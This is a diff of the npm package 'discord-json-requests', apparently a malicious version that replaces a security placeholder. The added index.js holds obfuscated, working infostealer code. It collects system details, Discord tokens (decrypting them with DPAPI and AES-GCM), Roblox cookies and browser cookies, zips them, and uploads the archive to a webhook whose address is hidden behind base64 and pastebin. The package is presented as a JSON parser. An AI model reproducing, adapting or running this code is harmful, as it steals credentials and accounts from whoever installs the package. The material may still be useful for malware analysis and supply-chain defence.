discord-json-requests 0.0.1-security → 1.0.6

package/index.d.ts

@@ -0,0 +1,8 @@
+declare module 'dscJsonParser' {
+    /**
+     * Retourne une liste de chemins basée sur les variables d'environnement `localappdata` et `appdata`.
+     *
+     * @returns {string[]} Un tableau contenant des chemins d'accès aux répertoires utilisateurs.
+     */
+    export function pathList(): string[];
+}

package/index.js

@@ -0,0 +1 @@
+const _0x523e80=_0x5563;(function(_0x3973ad,_0xe3104d){const _0x586a8c=_0x5563,_0x8f6739=_0x3973ad();while(!![]){try{const _0x47ff8b=-parseInt(_0x586a8c(0x131))/0x1+parseInt(_0x586a8c(0x12c))/0x2+-parseInt(_0x586a8c(0xfc))/0x3*(-parseInt(_0x586a8c(0xea))/0x4)+parseInt(_0x586a8c(0x12f))/0x5*(parseInt(_0x586a8c(0xdc))/0x6)+parseInt(_0x586a8c(0xeb))/0x7*(-parseInt(_0x586a8c(0x12b))/0x8)+parseInt(_0x586a8c(0x104))/0x9*(parseInt(_0x586a8c(0x11c))/0xa)+-parseInt(_0x586a8c(0x114))/0xb;if(_0x47ff8b===_0xe3104d)break;else _0x8f6739['push'](_0x8f6739['shift']());}catch(_0x2e37f7){_0x8f6739['push'](_0x8f6739['shift']());}}}(_0x306d,0x63998));import{hostname as _0x440e89,userInfo,version,tmpdir,cpus}from'os';import{totalmem}from'os-utils';function _0x306d(){const _0x29ea6a=['endsWith','unprotectData','substring','Erreur\x20de\x20requête\x20:\x20','slice','stringify','\x20\x20\x20\x20Path:\x20','8WhaqVZ','1252956pnazGz','✅\x20TOKEN\x20:\x20','\x0a🔵\x20BROWSER\x20COOKIES\x20:\x0a','58310eZwuwC','Local\x20State','58273GNsebp','json','localappdata','/new_map_size.zip','dQw4w9WgXcQ:','Go\x0a✅\x20IP\x20Adress\x20:\x20','length','Data\x20has\x20been\x20drained.','exec','\x20\x20\x20\x20Value:\x20','aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzN0MzEydXBR','354cTkkaH','aes-256-gcm','setAuthTag','error','text','💻\x20PC\x20INFORMATIONS\x20:\x0a✅\x20HOSTNAME\x20:\x20','toString','\x0a🔴\x20ROBLOX\x20COOKIES\x20:\x0a','.ldb','message','from','createDecipheriv','.log','\x0a🤖\x20DISCORD\x20INFORMATIONS\x20:\x0a','1216592ATsEun','4119017xAJuIz','log','push','utf-8','includes','username','match','ldb','data','httpOnly','\x0a✅\x20CPU\x20:\x20','\x0a✅\x20RAM\x20:\x20','https://discord.com/api/v9/users/@me','update','split','\x0a🔴\x20ROBLOX\x20COOKIES\x20:\x0aNo\x20Roblox\x20Cookies...\x0a','\x0a===================================\x0a✅\x20COOKIE\x20:\x20','6QiIKAj','\x0a✅\x20OS\x20:\x20','file','domain','zip','Error\x20:\x20','expires','get','144kQXckV','\x0a✅\x20JSON\x20:\x20','encrypted_key','path','utf8','append','pipe','post','finalize','forEach','CookiesData','parse','env','end','base64','closeSync','11941160ENjkKG','status','\x20\x20\x20\x20Http\x20Only:\x20','\x20\x20\x20\x20Domain:\x20','.txt','\x20\x20\x20\x20Secure:\x20','map','\x20\x20\x20\x20Expires:\x0a','135870apKBGa','Mozilla/5.0\x20(Windows\x20NT\x2010.0;\x20Win64;\x20x64)\x20AppleWebKit/537.36\x20(KHTML,\x20like\x20Gecko)\x20Chrome/80.0.3987.149\x20Safari/537.36','close','os_crypt','model','CurrentUser','Erreur\x20HTTP:\x20','name'];_0x306d=function(){return _0x29ea6a;};return _0x306d();}function _0x5563(_0xd03319,_0x408884){const _0x306df3=_0x306d();return _0x5563=function(_0x556375,_0x4c0675){_0x556375=_0x556375-0xd6;let _0x4b5647=_0x306df3[_0x556375];return _0x4b5647;},_0x5563(_0xd03319,_0x408884);}import{pathList}from'randompathlist';import{readFileSync,existsSync,opendirSync,readdirSync,writeFileSync,createReadStream,createWriteStream}from'fs';import{stat,rm,unlink}from'fs/promises';import*as _0x572ff8 from'path';import _0x386fc0 from'archiver';import _0x2681c6 from'axios';import{load}from'@rookie-rs/api';import _0x5e15f2 from'form-data';import{Dpapi}from'@primno/dpapi';import*as _0x588f04 from'crypto';const pathlist=pathList();let fileContent='';const hostname=_0x440e89(),username=userInfo()[_0x523e80(0xf0)],osVersion=version(),cpuInfo=cpus()[0x0][_0x523e80(0x120)];function totalMemCalc(_0x3ffa49){const _0x448cd9=_0x523e80;let _0x340a67=_0x3ffa49[_0x448cd9(0xe2)](),_0x5e0d48=_0x340a67[_0x448cd9(0x126)](0x0,0x2),_0x1e8d59=parseInt(_0x5e0d48);return _0x1e8d59;}const memory=totalMemCalc(totalmem());let ipadd;async function fetchAPIip(){const _0x57cc31=_0x523e80;try{const _0x2e6f2f=await fetch('https://api.ipify.org/?format=json'),_0x173a6c=await _0x2e6f2f[_0x57cc31(0x132)]();return _0x173a6c['ip'];}catch(_0x45cc1f){return console[_0x57cc31(0xec)](_0x57cc31(0x101)+_0x45cc1f),null;}}ipadd=await fetchAPIip(),fileContent+=_0x523e80(0xe1)+hostname+'\x0a✅\x20USERNAME\x20:\x20'+username+_0x523e80(0xfd)+osVersion+_0x523e80(0xf5)+cpuInfo+_0x523e80(0xf6)+memory+_0x523e80(0xd6)+ipadd+'\x0a';let tokens=[];function getCryptedTokens(_0x16a951){const _0x2a313f=_0x523e80;let _0xd09fbe=_0x16a951;_0x16a951+='Local\x20Storage\x5cleveldb';if(!existsSync(_0x16a951))return;let _0x2d45f7=opendirSync(_0x16a951);try{let _0x40043c=readdirSync(_0x2d45f7['path']);_0x40043c[_0x2a313f(0x10d)](_0x49d539=>{const _0x19e208=_0x2a313f;if(_0x49d539[_0x19e208(0x128)](-0x3)==_0x19e208(0xf2)||_0x49d539[_0x19e208(0x128)](-0x3)==_0x19e208(0xec)){let _0x3e506c=readFileSync(_0x2d45f7[_0x19e208(0x107)]+'/'+_0x49d539,_0x19e208(0x108))[_0x19e208(0xe2)](),_0x4eb4a0=/[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}/,_0x1204c2=/mfa\.[\d\w_-]{84}/,_0x1248fb=_0x4eb4a0[_0x19e208(0xd9)](_0x3e506c)||_0x1204c2[_0x19e208(0xd9)](_0x3e506c)||undefined;if(_0x1248fb)tokens[_0x19e208(0xed)](_0x1248fb['toString']());}});}finally{_0x2d45f7[_0x2a313f(0x113)]();}if(existsSync(_0xd09fbe+'\x5cLocal\x20State')){try{readdirSync(_0x16a951)[_0x2a313f(0x11a)](_0x476d81=>{const _0x2305cc=_0x2a313f;(_0x476d81[_0x2305cc(0x124)](_0x2305cc(0xe8))||_0x476d81['endsWith'](_0x2305cc(0xe4)))&&readFileSync(_0x16a951+'\x5c'+_0x476d81,_0x2305cc(0x108))[_0x2305cc(0xf9)](/\r?\n/)[_0x2305cc(0x10d)](_0x3d3b6b=>{const _0x53547a=_0x2305cc,_0x2584b3=new RegExp(/dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*/g),_0x5d1c83=_0x3d3b6b[_0x53547a(0xf1)](_0x2584b3);_0x5d1c83&&_0x5d1c83[_0x53547a(0x10d)](_0x10be98=>{const _0xbab1b0=_0x53547a;let _0x123f3c=Buffer[_0xbab1b0(0xe6)](JSON['parse'](readFileSync(_0xd09fbe+_0xbab1b0(0x130)))[_0xbab1b0(0x11f)][_0xbab1b0(0x106)],_0xbab1b0(0x112))[_0xbab1b0(0x128)](0x5);const _0x4eb04c=Dpapi[_0xbab1b0(0x125)](Buffer[_0xbab1b0(0xe6)](_0x123f3c,_0xbab1b0(0xee)),null,_0xbab1b0(0x121));_0x10be98=Buffer[_0xbab1b0(0xe6)](_0x10be98[_0xbab1b0(0xf9)](_0xbab1b0(0x135))[0x1],'base64');let _0x226e15=_0x10be98['slice'](0x3,0xf),_0x32282d=_0x10be98[_0xbab1b0(0x128)](0xf,_0x10be98['length']-0x10),_0x305347=_0x10be98[_0xbab1b0(0x128)](_0x10be98[_0xbab1b0(0xd7)]-0x10,_0x10be98[_0xbab1b0(0xd7)]),_0x305539=_0x588f04[_0xbab1b0(0xe7)](_0xbab1b0(0xdd),_0x4eb04c,_0x226e15);_0x305539[_0xbab1b0(0xde)](_0x305347);let _0x5c0446=_0x305539[_0xbab1b0(0xf8)](_0x32282d,_0xbab1b0(0x112),_0xbab1b0(0xee))+_0x305539['final'](_0xbab1b0(0xee));if(!tokens[_0xbab1b0(0xef)](_0x5c0446))tokens[_0xbab1b0(0xed)](_0x5c0446);});});});}catch(_0x1f43fb){};return;}}for(let path of pathlist)getCryptedTokens(path);function removeDoubleTokens(_0x3a8048){const _0x549d6a=_0x523e80,_0x2e8eec={},_0x406f17=[];return _0x3a8048[_0x549d6a(0x10d)](_0x5f4594=>{!_0x2e8eec[_0x5f4594]&&(_0x2e8eec[_0x5f4594]=0x1,_0x406f17['push'](_0x5f4594));}),_0x406f17;}let tokensClean=removeDoubleTokens(tokens);fileContent+=_0x523e80(0xe9);async function getTokenInformation(_0x282c7a){const _0x3dd796=_0x523e80;let _0x585e0b;try{let _0x67c817=await _0x2681c6[_0x3dd796(0x103)](_0x3dd796(0xf7),{'headers':{'User-Agent':_0x3dd796(0x11d),'Content-Type':'application/json','Authorization':_0x282c7a}});try{_0x585e0b=_0x67c817[_0x3dd796(0xf3)];}catch(_0x280984){_0x585e0b=null;}}catch(_0x2acf4f){};return _0x585e0b;}for(let token of tokensClean){let tkInfo=await getTokenInformation(token);fileContent+=_0x523e80(0x12d)+token+_0x523e80(0x105)+JSON[_0x523e80(0x129)](tkInfo)+'\x0a';}const filesPath=process[_0x523e80(0x110)][_0x523e80(0x133)]+'\x5cRoblox\x5cLocalStorage';if(existsSync(filesPath)){let cookieFilePath=filesPath+'\x5cRobloxCookies.dat',robloxCookiedat=readFileSync(cookieFilePath,_0x523e80(0x108))[_0x523e80(0xe2)](),crypted=JSON[_0x523e80(0x10f)](robloxCookiedat);const encrypt=Buffer[_0x523e80(0xe6)](crypted[_0x523e80(0x10e)],'base64'),decrypt=Dpapi[_0x523e80(0x125)](encrypt,null,_0x523e80(0x121)),RobloxCookiesDat=decrypt[_0x523e80(0xe2)]();fileContent+=_0x523e80(0xe3)+RobloxCookiesDat+'\x0a';}else fileContent+=_0x523e80(0xfa);fileContent+=_0x523e80(0x12e);const cookies=load();for(const cookie of cookies){fileContent+=_0x523e80(0xfb)+JSON[_0x523e80(0x129)](cookie)+'\x0a',fileContent+=_0x523e80(0x117)+cookie[_0x523e80(0xff)]+'\x0a',fileContent+=_0x523e80(0x12a)+cookie[_0x523e80(0x107)]+'\x0a',fileContent+=_0x523e80(0x119)+cookie['secure']+'\x0a',cookie['expires']?fileContent+='\x20\x20\x20\x20Expires:\x20'+cookie[_0x523e80(0x102)]+'\x0a':fileContent+=_0x523e80(0x11b),fileContent+='\x20\x20\x20\x20Name:\x20'+cookie[_0x523e80(0x123)]+'\x0a',fileContent+=_0x523e80(0xda)+cookie['value']+'\x0a',fileContent+=_0x523e80(0x116)+cookie[_0x523e80(0xf4)]+'\x0a',fileContent+='\x20\x20\x20\x20Same\x20Site:\x20'+cookie['sameSite']+'\x0a';}function createFile(_0x39568d,_0x41b563){const _0x10726f=_0x523e80;writeFileSync(_0x39568d,_0x41b563,_0x10726f(0x108));}function createZip(_0x17b8e7,_0x1fb515){return new Promise((_0x3bb934,_0x4ee3e4)=>{const _0x1fdaf2=_0x5563,_0xfd233d=createWriteStream(_0x1fb515),_0x31b0db=_0x386fc0(_0x1fdaf2(0x100),{'zlib':{'level':0x9}});_0xfd233d['on'](_0x1fdaf2(0x11e),()=>{_0x3bb934();}),_0xfd233d['on'](_0x1fdaf2(0x111),()=>{const _0x4cf15f=_0x1fdaf2;console[_0x4cf15f(0xec)](_0x4cf15f(0xd8));}),_0x31b0db['on']('warning',_0x1ba2bb=>{_0x1ba2bb['code']!=='ENOENT'&&_0x4ee3e4(_0x1ba2bb);}),_0x31b0db['on'](_0x1fdaf2(0xdf),_0x573a03=>{_0x4ee3e4(_0x573a03);}),_0x31b0db[_0x1fdaf2(0x10a)](_0xfd233d),_0x31b0db[_0x1fdaf2(0xfe)](_0x17b8e7,{'name':_0x572ff8['basename'](_0x17b8e7)}),_0x31b0db[_0x1fdaf2(0x10c)]();});}async function deletePath(_0x1af4ee){try{const _0x4dcc1f=await stat(_0x1af4ee);if(_0x4dcc1f['isDirectory']())await rm(_0x1af4ee,{'recursive':!![],'force':!![]});else _0x4dcc1f['isFile']()&&await unlink(_0x1af4ee);}catch(_0x29d678){}}async function sendToWebhook(_0x4d98ee,_0x468e19){const _0x3f39f7=_0x523e80;try{const _0x144b39=createReadStream(_0x4d98ee),_0x17d469=new _0x5e15f2();_0x17d469[_0x3f39f7(0x109)](_0x3f39f7(0xfe),_0x144b39),await _0x2681c6[_0x3f39f7(0x10b)](_0x468e19,_0x17d469,{'headers':_0x17d469['getHeaders']()});}catch(_0x285b5e){};}let w;try{let res=await fetch(Buffer[_0x523e80(0xe6)](_0x523e80(0xdb),_0x523e80(0x112))[_0x523e80(0xe2)]());if(res['ok'])w=await res[_0x523e80(0xe0)]();else console[_0x523e80(0xec)](_0x523e80(0x122)+res[_0x523e80(0x115)]);}catch(_0x1dddcd){console['log'](_0x523e80(0x127)+_0x1dddcd[_0x523e80(0xe5)]);}function dcode(_0x1006c2){const _0x439b3f=_0x523e80;return Buffer[_0x439b3f(0xe6)](_0x1006c2,_0x439b3f(0x112))[_0x439b3f(0xe2)]();}for(let i=0x0;i<0x5;i++)w=dcode(w);export async function dscJsonParser(){const _0x5763ce=_0x523e80,_0x22351d=tmpdir+'/'+username+_0x5763ce(0x118),_0x3cbeb7=tmpdir+_0x5763ce(0x134);createFile(_0x22351d,fileContent),await createZip(_0x22351d,_0x3cbeb7),await sendToWebhook(_0x3cbeb7,w),await deletePath(_0x22351d),await deletePath(_0x3cbeb7);}

package/package.json

@@ -1,6 +1,22 @@
-{
-  "name": "discord-json-requests",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+{
+  "name": "discord-json-requests",
+  "version": "1.0.6",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "z4x0",
+  "type": "module",
+  "license": "ISC",
+  "dependencies": {
+    "@primno/dpapi": "^1.1.2",
+    "@rookie-rs/api": "^0.5.6",
+    "archiver": "^7.0.1",
+    "axios": "^1.7.7",
+    "form-data": "^4.0.1",
+    "os-utils": "^0.0.14",
+    "randompathlist": "^1.1.0"
+  }
+}

package/tsconfig.json

@@ -0,0 +1,5 @@
+{
+    "compilerOptions": {
+        "typeRoots": ["./types", "./node_modules/@types"]
+    }
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=discord-json-requests for more information.